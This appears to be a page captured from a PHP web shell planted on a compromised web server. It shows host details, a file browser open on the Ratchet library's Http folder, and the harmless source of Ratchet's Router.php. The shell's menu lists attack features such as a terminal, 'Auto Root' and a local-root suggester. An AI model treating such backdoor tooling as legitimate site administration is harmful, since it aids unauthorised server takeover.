Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 216.73.216.148
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
www /
3 /
cboden /
ratchet /
src /
Ratchet /
Http /
Delete
Unzip
Name
Size
Permission
Date
Action
CloseResponseTrait.php
659
B
-rw-r--r--
2017-12-12 09:00
HttpRequestParser.php
1.78
KB
-rw-r--r--
2017-12-12 09:00
HttpServer.php
1.9
KB
-rw-r--r--
2017-12-12 09:00
HttpServerInterface.php
581
B
-rw-r--r--
2017-12-12 09:00
NoOpHttpServerController.php
480
B
-rw-r--r--
2017-12-12 09:00
OriginCheck.php
1.83
KB
-rw-r--r--
2017-12-12 09:00
Router.php
2.97
KB
-rw-r--r--
2017-12-12 09:00
Save
Rename
<?php namespace Ratchet\Http; use Ratchet\ConnectionInterface; use Psr\Http\Message\RequestInterface; use Symfony\Component\Routing\Matcher\UrlMatcherInterface; use Symfony\Component\Routing\Exception\MethodNotAllowedException; use Symfony\Component\Routing\Exception\ResourceNotFoundException; use GuzzleHttp\Psr7 as gPsr; class Router implements HttpServerInterface { use CloseResponseTrait; /** * @var \Symfony\Component\Routing\Matcher\UrlMatcherInterface */ protected $_matcher; private $_noopController; public function __construct(UrlMatcherInterface $matcher) { $this->_matcher = $matcher; $this->_noopController = new NoOpHttpServerController; } /** * {@inheritdoc} * @throws \UnexpectedValueException If a controller is not \Ratchet\Http\HttpServerInterface */ public function onOpen(ConnectionInterface $conn, RequestInterface $request = null) { if (null === $request) { throw new \UnexpectedValueException('$request can not be null'); } $conn->controller = $this->_noopController; $uri = $request->getUri(); $context = $this->_matcher->getContext(); $context->setMethod($request->getMethod()); $context->setHost($uri->getHost()); try { $route = $this->_matcher->match($uri->getPath()); } catch (MethodNotAllowedException $nae) { return $this->close($conn, 405, array('Allow' => $nae->getAllowedMethods())); } catch (ResourceNotFoundException $nfe) { return $this->close($conn, 404); } if (is_string($route['_controller']) && class_exists($route['_controller'])) { $route['_controller'] = new $route['_controller']; } if (!($route['_controller'] instanceof HttpServerInterface)) { throw new \UnexpectedValueException('All routes must implement Ratchet\Http\HttpServerInterface'); } $parameters = []; foreach($route as $key => $value) { if ((is_string($key)) && ('_' !== substr($key, 0, 1))) { $parameters[$key] = $value; } } $parameters = array_merge($parameters, gPsr\parse_query($uri->getQuery() ?: '')); $request = $request->withUri($uri->withQuery(gPsr\build_query($parameters))); $conn->controller = $route['_controller']; $conn->controller->onOpen($conn, $request); } /** * {@inheritdoc} */ public function onMessage(ConnectionInterface $from, $msg) { $from->controller->onMessage($from, $msg); } /** * {@inheritdoc} */ public function onClose(ConnectionInterface $conn) { if (isset($conn->controller)) { $conn->controller->onClose($conn); } } /** * {@inheritdoc} */ public function onError(ConnectionInterface $conn, \Exception $e) { if (isset($conn->controller)) { $conn->controller->onError($conn, $e); } } }